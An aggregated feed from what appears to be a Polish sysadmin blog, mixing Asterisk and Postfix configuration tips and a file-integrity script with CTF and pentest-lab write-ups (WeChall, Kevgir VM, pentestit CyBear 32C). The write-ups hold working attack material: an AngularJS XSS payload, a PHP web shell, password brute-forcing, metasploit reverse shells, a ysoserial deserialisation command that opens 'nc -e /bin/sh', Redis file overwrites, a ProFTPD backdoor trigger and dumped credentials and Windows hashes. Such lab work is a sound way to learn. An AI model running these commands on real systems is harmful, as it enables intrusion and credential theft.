Quantcast
Channel: w4cky - BST
Viewing all 114 articles
Browse latest View live

Postfix Vacation - auto-odpowiedź z wykluczeniem jednego nadawcy

$
0
0
Na szybko, bo jak zawsze było potrzebne na wczoraj. Pracownik poszedł na urlop i jego autoresponder odpowiadał na komunikaty techniczne wysyłane od klienta, co powodowało otwarcie kolejnych ticketów, w systemie klienta.

W /var/spool/vacation/vacation.pl poniżej linii 548 dodałem prostego IFa, który ma ignorować wysyłanie automatycznych odpowiedzi jeśli nadawcą jest XXX@XXX.com


if($smtp_sender eq 'XXX@XXX.com'){
        $logger->info($smtp_sender);
        exit(0);
}



Szybko, mało elegancko ale działa :)


Business Livebox MicroPBX - Asterisk trunk

$
0
0
Podłączenie Business Livebox MicroPBX  do Asteriska (konfiguracja peera)

sip.conf


[global]
directmedia=no


register => shortnumber:password@10.0.0.1/shortnumber


[shortnumber]
type=friend
nat=yes
defaultuser=shortnumber
fromuser=shortnumber
secret=password
host=10.0.0.1
qualify=yes
context=tpsa
callerid=048XXXXXXXXX
disallow=all
allow=ulaw
allow=alaw

Prosty load balancer oparty na round-robin dla połączeń wychodzących - Asterisk

$
0
0

Dzisiaj szybki i prosty round-robin w Asterisku, który losuje pomiędzy trunkA i trunkB, gdzie pójdzie połączenie wychodzące:

extensions.conf

[macro-stacjonarne]
exten => s,1,NoOp(DZWONIE DO ${ARG1})
exten => s,n,GotoIf($[${RAND(1,2)} > 1]?trunkA:trunkB)
exten => s,n(trunkA),Dial(SIP/trunkA/${ARG1})
exten => s,n,Hangup
exten => s,n(trunkB),Dial(SIP/trunkB/${ARG1})
exten => s,n,Hangup


Rozwiązanie można nawet wykorzystać w ostateczności jako failover, jeśli ma się tylko 2 trunki (ale nie polecał bym, lepiej jednak zrobić failover, który będzie badał status ewentualnie stan trunka)

python - porównywanie czy pliki PHP nie zostały zmienione względem siebie

$
0
0
W ramach ćwiczeń z pythonem mały skrypt, który porównuje checksum plików PHP z katalogu /var/www pomiędzy dniem dzisiejszym, a wczorajszym. Jeśli skrypt wykryje nowe pliki lub niezgodność checksum (czyli plik został zmieniony) to wysyła maila.

Skrypt może się przydać, jeśli macie jakieś strony na serwerze, które nie są bezpieczne - teraz jak ktoś wrzuci PHP shella lub dopisze coś do waszych plików, będziecie o tym wiedzieli.



import os
import datetime
from datetime import date, timedelta
import commands

today_l = []
yesterday_l = []
today = datetime.date.today()
today_l.append(today)

yesterday = date.today() - timedelta(1)
yesterday_l.append(yesterday)

cmdstring = "find /var/www/ -type f -name '*.php'|xargs md5sum > /var/log/w4cky/%s" % (today_l[0])
os.system(cmdstring)

cmdstring = 'diff /var/log//w4cky/%s /var/log/w4cky/%s |cut -d "" -f 4' % (today_l[0], yesterday_l[0])
output = os.popen(cmdstring).read()
if(output!=0):
msg = "Wykryto zmiany w plikach\n %s" % output
mail = 'echo " Wykryto zmiany w nastepujacych plikach:\n%s" | mail -s "WWW CHECKSUM" obiorca@mail.com' % output
os.system(mail)

Połączenia na numery stacjonarne - dialplan pattern matching

$
0
0
Zrobiłem dialplan dla asteriska, który pozwala na połączenia tylko do numerów stacjonarnych w Polsce według rozpiski z http://pl.wikisource.org/wiki/Telefoniczne_numery_kierunkowe_w_Polsce. Dialplan bardzo prosty, aczkolwiek na tyle pracochłonny, że postanowiłem tutaj wrzucić, może komuś się przyda.  Sam dialplan wykorzystuje macro, aby można było w prostszy sposób zmieniać jego konfigurację.

Może ktoś z Was, wie jak napisać taki dialplan zgrabniej? Jeśli tak to proszę zostawić pomysł w komentarzach pod postem ;)

extensions.conf


[macro-stacjonarka]
exten => s,1,NoOp(DZWONIE DO ${ARG1})
exten => s,n,Dial(SIP/trunk_wychodzacy/${ARG1})
exten => s,n,Hangup



[wychodzace]

exten => _1XXXXXXXX,1,NoOP(stacjonarka)
exten => _1XXXXXXXX,n,Macro(stacjonarka,${EXTEN},1)
exten => _1XXXXXXXX,n,Hangup()




exten => _2NXXXXXXX,1,NoOP(stacjonarka)
exten => _2NXXXXXXX,n,Macro(stacjonarka,${EXTEN},1)
exten => _2NXXXXXXX,n,Hangup()

exten => _3[2-4]XXXXXXX,1,NoOP(stacjonarka)
exten => _3[2-4]XXXXXXX,n,Macro(stacjonarka,${EXTEN},1)
exten => _3[2-4]XXXXXXX,n,Hangup()

exten => _4[1234678]XXXXXXX,1,NoOP(stacjonarka)
exten => _4[1234678]XXXXXXX,n,Macro(stacjonarka,${EXTEN},1)
exten => _4[1234678]XXXXXXX,n,Hangup()

exten => _5[245689]XXXXXXX,1,NoOP(stacjonarka)
exten => _5[235689]XXXXXXX,n,Macro(stacjonarka,${EXTEN},1)
exten => _5[245689]XXXXXXX,n,Hangup()

exten => _6[123578]XXXXXXX,1,NoOP(stacjonarka)
exten => _6[123578]XXXXXXX,n,Macro(stacjonarka,${EXTEN},1)
exten => _6[123578]XXXXXXX,n,Hangup()

exten => _7[14567]XXXXXXX,1,NoOP(stacjonarka)
exten => _7[14567]XXXXXXX,n,Macro(stacjonarka,${EXTEN},1)
exten => _7[14567]XXXXXXX,n,Hangup()

exten => _8[1-79]XXXXXXX,1,NoOP(stacjonarka)
exten => _8[1-79]XXXXXXX,n,Macro(stacjonarka,${EXTEN},1)
exten => _8[1-79]XXXXXXX,n,Hangup()

exten => _9[145]XXXXXXX,1,NoOP(stacjonarka)
exten => _9[145]XXXXXXX,n,Macro(stacjonarka,${EXTEN},1)
exten => _9[145]XXXXXXX,n,Hangup()

WeChall.net Write Up - Can you read me

$
0
0
http://www.wechall.net/challenge/can_you_readme/index.php


aptitude install tesseract-ocr tesseract-ocr-eng


cat wechall.php

<?php
$cookie='WC=your_cookie';
$url1='http://www.wechall.net/challenge/can_you_readme/gimme.php';
$ch = curl_init($url1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
$content = curl_exec($ch);
curl_close($ch);
file_put_contents('cos.png', $content);
system("tesseract /tmp/cos.png /tmp/cos -psm 7");
$sol = trim(file_get_contents('/tmp/cos.txt'));
echo $sol;

$url1="http://www.wechall.net/challenge/can_you_readme/index.php?solution=$sol&cmd=Answer";
$ch = curl_init($url1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
$content = curl_exec($ch);
curl_close($ch);
echo $content;
?>


php wechall.net

Limit kanałów na trunku wraz ze zmianą na żądanie

$
0
0
Szybki sposób, na zastosowania limitowania ilości połączeń wraz z możliwością zmiany ilości kanałów na żądanie

extensions.conf

exten => 4832XXXXXXX,1,Set(GROUP()=trunk)
exten => 4832XXXXXXX,n,Set(ILE=${DB(test/ile)})
exten => 4832XXXXXXX,n,Noop(Tyle polaczen ${GROUP_COUNT(trunk)} ustawiono na ${ILE})
exten => 4832XXXXXXX,n,GotoIf($[${GROUP_COUNT(trunk)} > ${ILE}]?falsz:prawda)
exten => 4832XXXXXXX,n(prawda),NoOP(prawda)
exten => 4832XXXXXXX,......
exten => 4832XXXXXXX,......
exten => 4832XXXXXXX,n(falsz),Set(DIALSTATUS=BUSY)

[kanal1]
exten => s,1,NoOP(bede zmienial liczbe kanalow na 1)
exten => s,n,Set(DB(test/ile)=1)
exten => s,n,Set(ILE=${DB(test/ile)})
exten => s,n,NoOP(kanalow ${ILE})

[kanal2]
exten => s,1,NoOP(bede zmienial liczbe kanalow na 2)
exten => s,n,Set(DB(test/ile)=2)
exten => s,n,Set(ILE=${DB(test/count)})
exten => s,n,NoOP(kanalow ${ILE})


Contexty kanal1 i kanal2 sluza do ustawiania liczby mozliwych polaczen na 1 lub 2.

Jest to jakiś pomysł, na obejście problemu niemożności ustawienia call-limit w deklaracji trunku w sip.conf

HTML5 XSS


Jak pobrać repozytorium git z /.git/index

$
0
0
Dzięki skryptom, które można znaleźć tutaj
https://github.com/internetwache/GitTools i tutaj https://www.pentestpartners.com/blog/git-extraction-abusing-version-control-systems/ możliwe jest pobranie znalezionego na serwerze repozytorium gita np: http://192.168.1.1/.git/index

AngularJS XSS

$
0
0
Aby wykonać atak XSS bez HTMLa, wystarczy, że będziemy mogli wstrzyknąć /wyrażenia kątowe/? do aplikacji napisanej w angularJS.


Podatny kod:

<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.js"></script>
</head>
<body>
<div ng-app>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);?>
{{3+3}}
</div>
</body>





Niepodatny kod:

<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.js"></script>
</head>
<body>
<div ng-bind>
<?php
$q = $_GET['q'];
echo htmlspecialchars($q,ENT_QUOTES);?>
{{3+3}}
</div>


http://[site]/1.php?q=%7b%7b%27a%27.constructor.prototype.charAt%3d%5b%5d.join%3b%24eval(%27x%3d1%7d+%7d+%7d%3balert(1)%2f%2f%27)%3b%7d%7d

Stosuj app-bind i jego odmiany aby nie wstrzyknąć {{ }}.


Payload:
AngularJS ver: 1.4.0 - 1.4.9
Author:Gareth Heyes
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

Więcej na: http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html

Send JSON via curl

$
0
0
curl  https://[site]/page --data '{"id":114,","data":"XXXX"}' -H 'X-Requested-With: XMLHttpRequest' -k



Kevgir VM WriteUp

$
0
0
https://canyoupwn.me/kevgir-vulnerable-vm/ - Kevgir VM download

1) jenkins
2) joomla
3) bruteforce (ftp,tomcat)
4) tomcat
5) redis




nmap -p- -T4 -sS -O 10.0.1.3

Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-17 11:34 CET
Nmap scan report for 10.0.1.3
Host is up (0.0012s latency).
Not shown: 65517 closed ports
PORT      STATE SERVICE
25/tcp    open  smtp
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1322/tcp  open  novation
2049/tcp  open  nfs
6379/tcp  open  unknown
8080/tcp  open  http-proxy
8081/tcp  open  blackice-icecap
9000/tcp  open  cslistener
32938/tcp open  unknown
41511/tcp open  unknown
42149/tcp open  unknown
46990/tcp open  unknown
48201/tcp open  unknown
52526/tcp open  unknown
59559/tcp open  unknown
MAC Address: 08:00:27:F8:A1:F5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds


1)
http://10.0.1.3:8081/

http://10.0.1.3:8081/index2.php <= <meta name="generator" content="Joomla! 1.5 - Open Source Content Management" /> - index2.php discovered via dirbuster

I used exploit -  (Token) Remote Admin Change Password Vulnerability
https://www.exploit-db.com/exploits/6234/

10.0.1.3:8081/index.php?option=com_user&view=reset&layout=confirm
 1) Write into field "token" char ' and Click OK.
 2) Write new password for admin
 3) 10.0.1.3:8081/administrator
 4) Login admin:new_pass

 i have access to admin panel - http://10.0.1.3:8081/administrator/index.php


 After install new extension directphp  because I want to add my PHP code to article.

 <?php system($_GET[i]);?>

 http://10.0.1.3:8081/?i=cat%20configuration.php
 lease check back again soon.'; var $sitename = 'CanYou PwnMe'; var $editor = 'tinymce'; var $list_limit = '20'; var $legacy = '0'; /* Debug Settings */ var $debug = '0'; var $debug_lang = '0'; /* Database Settings */ var $dbtype = 'mysql'; var $host = 'localhost'; var $user = 'joomlauser'; var $password = '1m4dm1n!'; var $db = 'joomla'; var $dbprefix = 'jos_'; /* Server Settings */ var $live_site = ''; var $secret = 'phn4U0DCRrlLzM5M'; var $gzip = '0'; var $error_reporting = '-1'; var $helpurl = 'http://help.joomla.org'; var $xmlrpc_server = '0'; var $ftp_host = '127.0.0.1'; var $ftp_port = '21'; var $ftp_user = ''; var $ftp_pass = ''; var $ftp_root = ''; var $ftp_enable = '0'; /* Locale Settings */ var $offset = '0'; var $offset_user = '0'; /* Mail Settings */ var $mailer = 'mail'; var $mailfrom = ' admin@joomla.org'; var $fromname = 'CanYou PwnMe'; var $sendmail = '/usr/sbin/sendmail'; var $smtpauth = '0'; var $smtpuser = ''; var $smtppass = ''; var $smtphost = 'localhost'; /* Cache Settings */ var $caching = '0'; var $cachetime = '15'; var $cache_handler = 'file'; /* Meta Settings */ var $MetaDesc = 'Joomla! - the dynamic portal engine and content management system'; var $MetaKeys = 'joomla, Joomla'; var $MetaTitle = '1'; var $MetaAuthor = '1'; /* SEO Settings */ var $sef = '0'; var $sef_rewrite = '0'; var $sef_suffix = '0'; /* Feed Settings */ var $feed_limit = 10; var $log_path = '/var/www/html/gentleman/logs'; var $tmp_path = '/var/www/html/gentleman/tmp'; /* Session Setting */ var $lifetime = '15'; var $session_handler = 'database'; } ?>  




 2) Cracking tomcat manager
 hydra -l tomcat -P /usr/share/wordlists/rockyou.txt -e ns -s 8080 -vV 10.0.1.3 http-get /manager/html

 [8080][http-get] host: 10.0.1.3   login: tomcat   password: tomcat

 next used metasploit:
Module options (exploit/multi/http/tomcat_mgr_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   tomcat           no        The password for the specified username
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      10.0.1.3         yes       The target address
   RPORT      8080             yes       The target port
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /manager         yes       The URI path of the manager app (/html/upload and /undeploy will be used)
   USERNAME   tomcat           no        The username to authenticate as
   VHOST                       no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.1.2         yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Java Universal

msf exploit(tomcat_mgr_upload) > exploit

[*] Started reverse TCP handler on 10.0.1.2:4444
[*] 10.0.1.3:8080 - Retrieving session ID and CSRF token...
[*] 10.0.1.3:8080 - Uploading and deploying ltKnITWSrBQ5ioDn...
[*] 10.0.1.3:8080 - Executing ltKnITWSrBQ5ioDn...
[*] 10.0.1.3:8080 - Undeploying ltKnITWSrBQ5ioDn ...
[*] Sending stage (46089 bytes) to 10.0.1.3
[*] Meterpreter session 2 opened (10.0.1.2:4444 -> 10.0.1.3:39544) at 2016-03-16 10:46:20 +0100

meterpreter >

meterpreter > shell
Process 1 created.
Channel 1 created.

ls
common
conf
logs
server
shared
webapps
work
uname -a
Linux canyoupwnme 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux



3) crack password FTP
hydra -l admin -P /usr/share/wordlists/rockyou.txt -u -e s -s 25  10.0.1.3 ftp
[25][ftp] host: 10.0.1.3   login: admin   password: admin

4) redis hacking
root@kali:~# redis-cli -h 10.0.1.3
10.0.1.3:6379> INFO
# Server
redis_version:3.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:aa70bcb321ba8313
redis_mode:standalone
os:Linux 3.19.0-25-generic i686
arch_bits:32
multiplexing_api:epoll
gcc_version:4.8.4
process_id:1215
run_id:f77a1654a20f1a67cadbe83761f0bd907ce01e0e
tcp_port:6379
uptime_in_seconds:4070
uptime_in_days:0
hz:10
lru_clock:15370196
config_file:/etc/redis/6379.conf

# Clients
connected_clients:2
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0

# Memory
used_memory:659136
used_memory_human:643.69K
used_memory_rss:9306112
used_memory_peak:687064
used_memory_peak_human:670.96K
used_memory_lua:24576
mem_fragmentation_ratio:14.12
mem_allocator:jemalloc-3.6.0

# Persistence
loading:0
rdb_changes_since_last_save:1
rdb_bgsave_in_progress:0
rdb_last_save_time:1458210485
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:0
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok

# Stats
total_connections_received:21
total_commands_processed:74
instantaneous_ops_per_sec:0
total_net_input_bytes:6574
total_net_output_bytes:22122
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:14331
migrate_cached_sockets:0

# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:34.07
used_cpu_user:0.28
used_cpu_sys_children:0.02
used_cpu_user_children:0.00

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=2,expires=0,avg_ttl=0
10.0.1.3:6379>


(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt/.ssh"

Module options (auxiliary/scanner/redis/file_upload):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   DISABLE_RDBCOMPRESSION  true             yes       Disable compression when saving if found to be enabled
   LocalFile                                no        Local file to be uploaded
   Password                foobared         no        Redis password for authentication test
   RHOSTS                                   yes       The target address range or CIDR identifier
   RPORT                   6379             yes       The target port
   RemoteFile                               no        Remote file path
   THREADS                 1                yes       The number of concurrent threads

msf auxiliary(file_upload) > set RHOSTS 10.0.1.3
RHOSTS => 10.0.1.3
msf auxiliary(file_upload) > exploit

[-] Auxiliary failed: RuntimeError bad-config: LocalFile must be set
[-] Call stack:
[-]   /usr/share/metasploit-framework/lib/msf/core/module.rb:291:in `fail_with'
[-]   /usr/share/metasploit-framework/modules/auxiliary/scanner/redis/file_upload.rb:150:in `run_host'
[-]   /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:121:in `block (2 levels) in run'
[-]   /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'
[*] Auxiliary module execution completed
msf auxiliary(file_upload) > set LocalFile /root/.ssh/foo.txt
LocalFile => /root/.ssh/foo.txt
msf auxiliary(file_upload) > set RemoteFile /root/.ssh/authorized_keys
RemoteFile => /root/.ssh/authorized_keys
msf auxiliary(file_upload) > exploit

[-] 10.0.1.3:6379         - 10.0.1.3:6379         -- failed to save 392 bytes to /root/.ssh/authorized_keys (permissions?)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(file_upload) > set RemoteFile /root/.ssh/id_rsa
RemoteFile => /root/.ssh/id_rsa
msf auxiliary(file_upload) > exploit

[+] 10.0.1.3:6379         - 10.0.1.3:6379         -- saved 392 bytes inside of redis DB at /root/.ssh/id_rsa
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(file_upload) > set RemoteFile /etc/shadow
RemoteFile => /etc/shadow
msf auxiliary(file_upload) > exploit

[+] 10.0.1.3:6379         - 10.0.1.3:6379         -- saved 392 bytes inside of redis DB at /etc/shadow
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(file_upload) > set LocalFile /etc/shadow
LocalFile => /etc/shadow
msf auxiliary(file_upload) > set RemoteFile /etc/shadow
RemoteFile => /etc/shadow
msf auxiliary(file_upload) > exploit

[+] 10.0.1.3:6379         - 10.0.1.3:6379         -- saved 1664 bytes inside of redis DB at /etc/shadow
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(file_upload) >


DONE
 i logged in to VM on root.




CyBear 32C - LAB V.9 - WriteUp

$
0
0
It's not a CTF, it's a clone of a real company!

Notka z lab.pentestit.ru w wersji 9. Wcześniejszych nie wrzucałem, chodź brałem udział jeszcze w 2 innych (jak znajdę starsze to wrzucę). Polecam zabawę z lab.pentestit. Sorx za literówki, ortografię itp. to notatki robocze zazwyczaj z zabawy w późnych porach nocnych ;-)

Zawiera min:
1) praktyczny atak heartbleed na ssl
2) sql injection
3) file upload (php)
4) proftpd backdoor
5) serializacja java - ysoserial
6) iscsi attack
7) windows cracking hash
8) imagemagick exploit :>





Nmap scan report for 192.168.101.8
Host is up (0.056s latency).
Not shown: 994 filtered ports
PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
443/tcp  open  https
3128/tcp open  squid-http
8100/tcp open  xprint-server


SSL heartbleed pokazalo

b.muncy@cybear32c.lab
r.diaz@cybear32c.lab

https://192.168.101.8/_old_backup_2010/old_proxy_users

b.muncyrabbit$apr1$tzmka3rd$sauTCTAS7So4SV6QUbgCl.md5crypt
w.dennischivas$apr1$ocNOu3Q9$GfqxcSdSbGLVm2eXgDDs41md5crypt
t.smithcesar$apr1$dtqA1HRu$/Nm6Im8Cq5cTw/oyHlWpN.md5crypt
r.lampmanshalom$apr1$xfwiOFUs$tR8G5Cpug2S6OGm/h2rOV0md5crypt
token_bypass_ish6Sa7f

sqlmap -u 'http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=1' -p 'size' --proxy 'http://127.0.0.1:8080' --tables -D tl9_mainsite --threads 10


$P$BbOymCK9Fnma1pG1eS2jo/lch3hMh7/
$P$BZDQ99hw.NlSNEGVZx0IppNcbD.Fc5.
http://www.onlinehashcrack.com/90463d3302

Wordpress token:

nobody@192.168.101.8
The password: daypass1522

daypass(dziengodzina) aktualna w moskwie

nastepnie logowanie na d.nash

daemon@tl9-ssh:/home$ date
Thu Sep 15 22:52:07 MSK 2016
daemon@tl9-ssh:/home$ su d.nash
The password: daypass1522
d.nash@tl9-ssh:/home$


## PHOTO
ssh -i id_rsa d.nash@192.168.101.8 -L 81:192.168.0.6:80
http://127.0.0.1:81
wgranie pliku pusty.bmp.pht
plik bmp przygotowany w hex edytorze (komentarz to kod PHP)
nastepnie upload i uruchomienie przez przegladarke, gdzie znalazlem token w pliku photo.txt

skrypt uploadujacy:
<?php

function validateFile($filename) {
    $filename=explode('.',strtolower($filename));
    if (preg_match("(php[3-7]?|phtml?)",end($filename)))
return true;
    else
return false;
}

function processFile($tmpPath) {
    $path = "upload/".$_FILES["image"]["name"];
    if (move_uploaded_file($tmpPath,$path))
    {
        echo "<center>File ".$_FILES["image"]["name"]. "&nbspsuccessfully uploaded!</center>\n";
        $x = getimagesize($path);
        if ($x)
        {
        echo "<center>Width: ".$x[0]."\nHeight: ".$x[1]."\nImage type: ".$x["mime"]."</center>\n";
        //unlink($path);
        }
        else
        {
        echo "<center>but whis is not image!DELETED.</center>";
        unlink($path);
        }
    }
}


if ($_SERVER["REQUEST_METHOD"] == "POST"&& is_uploaded_file($_FILES["image"]["tmp_name"]))
{
    $tmpPath=$_FILES["image"]["tmp_name"];
    if (validateFile($_FILES["image"]["name"])) {
        echo "<center>Uploaded file is invalid.</center>";
        unlink($tmpPath);
    }
    else
        processFile($tmpPath);
}


?>



Podaczenie sie do FTP 172.16.04
1) logujesz sie anonimowo
2) pobierasz zrodla z dist/
3) sprawdzasz checksum i nie pasuje
4) paczysz co jest nie tak i widzisz, ze backdoor z wersji 1.3.3c
5) w pliku src/help.c odnajdujesz  if (strcmp(target, "CYBEAR32C") == 0) { system("/bin/sh;/sbin/sh"); }

wiec po telnetowaniu na ftp wykonujesz

Trying 172.16.0.4...
Connected to 172.16.0.4.
Escape character is '^]'.
220 ProFTPD 1.3.5 Server (by CyBear 32C) [::ffff:172.16.0.4]
help CYBEAR32C
ls /home/ -al
ls /home/ -al;
total 28
drwxr-xr-x  7 root root 4096 May 14 20:22 .
drwxr-xr-x 23 root root 4096 May  3 20:21 ..
drwxrwxr-x  2 root test 4096 Jun 16 13:39 cisco_upload
drwxrwxrwt  4 root root 4096 Sep 14 21:42 m.barry
drwxr-xr-x  2 root root 4096 May 10  2014 old
drwxr-xr-x  3 test test 4096 May 26 17:23 test
drwxr-xr-x  3 user user 4096 May 26 17:29 user

i jak widzisz juz masz shell

token znajdziesz w
ls -al /home/old;


Jeszcze nie wiem po co ale zabieram config routera cisco_upload
cat /home/cisco_upload/router-confg.old;

!
! Last configuration change at 18:17:14 UTC Sun Apr 27 2014
upgrade fpd auto
version 15.1
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname Router
!
boot-start-marker
boot-end-marker
!
!
enable secret level 3 4 .Hp0O/aZnNDJ4.0TA3AZVVFqXcYBMaMfufUDJU85bHU
!
no aaa new-model
!
ip source-route
ip cef
!
!
!
!
!
ip domain name test.lab
ip name-server 192.168.100.101
no ipv6 cef
!
multilink bundle-name authenticated
!
!
!
!
!
!
!
crypto pki token default removal timeout 0
!
!
!
redundancy
!
!
ip ftp username s.ramos
ip ftp password aemeiM6aiz
!
!
!
!
!
!
!
!
interface FastEthernet0/0
 ip address 192.168.2.100 255.255.255.0
 duplex full
 speed 100
!
interface FastEthernet0/1
 ip address 192.168.1.100 255.255.255.0
 duplex full
 speed 100
!
ip forward-protocol nd
no ip http server
no ip http secure-server
!
!
ip dns server
ip route 0.0.0.0 0.0.0.0 192.168.2.254
!
ip access-list extended mailo
 permit ip host 172.16.0.1 any
 permit ip host 192.168.1.4 any
!
!
!
!
!
!
!
control-plane
!
!
!
mgcp profile default
!
!
!
gatekeeper
 shutdown
!
privilege exec level 3 monitor capture buffer
privilege exec level 3 monitor capture point ip cef
privilege exec level 3 monitor capture point ip
privilege exec level 3 monitor capture point associate
privilege exec level 3 monitor capture point start
privilege exec level 3 monitor capture point
privilege exec level 3 monitor capture
privilege exec level 3 monitor
privilege exec level 3 show monitor capture point all
privilege exec level 3 show monitor capture point
privilege exec level 3 show monitor capture
privilege exec level 3 show monitor
privilege exec level 3 show
!
line con 0
 exec-timeout 0 0
 stopbits 1
line aux 0
 stopbits 1
line vty 0 4
 password cisco
 logging synchronous
 login
 transport input telnet
 transport output telnet
!
end



W konfigu znalazlem hash .Hp0O/aZnNDJ4.0TA3AZVVFqXcYBMaMfufUDJU85bHU po zlamaniu w johnym to: headmaster

Niestety telnet na 192.168.2.100 wykazal ze haslo headmaster nie pasuje. Po scrackowaniu hasla okazalo sie, ze ono to 'cisco'.
Po zalogowaniu pokazuje sie token.

####PORTAL
ssh d.nash@192.168.101.8 -L 82:192.168.1.2:8080
na 127.0.0.1:82 mamy strone

sprawdzmy dane logowania z pliku z proxy

pasuje b.muncyrabbit

no to co deserializacja :>

d.nash@tl9-ssh:/tmp/.w/172.16.0.4/dist$ nc -v  -l -p 5559

robimy snapshota z ysoserial
git clone https://github.com/frohoff/ysoserial.git

cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

curl -b 'userInfo="'$(java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 'nc -e /bin/sh 172.16.0.2 5 tr -d '\n')'"''http://127.0.0.1:82/index.jsp' --proxy http://127.0.0.1:8080



No i shell!

cat /token.txt


#### NAS
Jedziemy z ISCSI jak to zrobiono hacking teamowi :)

ssh d.nash@192.168.101.8 -L 3260:192.168.0.3:3260
iscsiadm -m discovery -t sendtargets -p 127.0.0.1

aby iscsi 'myslalo' ze 127.0.0.1 to 192.168.0.3 i sie moglo podmontowac
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1

root@kali:~/lab.pentestit/9/portal# iscsiadm -m node --targetname=iqn.2016-05.ru.pentestit:storage.lun0 -p 192.168.0.3 --login
Logging in to [iface: default, target: iqn.2016-05.ru.pentestit:storage.lun0, portal: 192.168.0.3,3260] (multiple)
Login to [iface: default, target: iqn.2016-05.ru.pentestit:storage.lun0, portal: 192.168.0.3,3260] successful.

dmesg |tail
[24786.373400] scsi 3:0:0:0: Attached scsi generic sg2 type 12
[24786.496903] scsi 3:0:0:1: Direct-Access     IET      VIRTUAL-DISK     0001 PQ: 0 ANSI: 5
[24786.619327] sd 3:0:0:1: Attached scsi generic sg3 type 0
[24786.744230] sd 3:0:0:1: [sdb] 6291456 512-byte logical blocks: (3.22 GB/3.00 GiB)
[24786.744232] sd 3:0:0:1: [sdb] 4096-byte physical blocks
[24786.922829] sd 3:0:0:1: [sdb] Write Protect is off
[24786.922831] sd 3:0:0:1: [sdb] Mode Sense: 69 00 00 08
[24787.004785] sd 3:0:0:1: [sdb] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
[24787.787833]  sdb: sdb1
[24788.769882] sd 3:0:0:1: [sdb] Attached SCSI disk

No i pojawil nam sie dysk sdb, wiec zamontujmy :)
mount /dev/sdb1 /mnt/
ls
lost+found  test121-flat.vmdk

Mntuje wedlug tego co opisano tu https://nfolamp.wordpress.com/2010/08/16/mounting-raw-image-files-and-kpartx/ za pomoca kpartx/

nic nie znalazlem, wiec zostaje zlamanie hashy w windowsie
kopiuje cale /WINDOWS/system32/config/ do siebie i robie dumpa

samdump2  /root/lab.pentestit/9/nas/config/system /root/lab.pentestit/9/nas/config/SAM
Administrator:500:b34ce522c3e4c8774a3b108f3fa6cb6d:a87f3a337d73085c45f9416be5787d86:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* HelpAssistant:1000:eab41d131602a4a90e2fc9f021675461:26cd0a1daf676aa4aedee01329b34a40:::
token_nas_token:1005:41a111e45e492d6bcc08baab7388e8bd:dc9690ad0c490a50e9caa8cb54b302cf:::
t.smith:1006:f8393cbc8a5610aeaad3b435b51404ee:179699ef43d4b9ba2f8f615f59893917:::
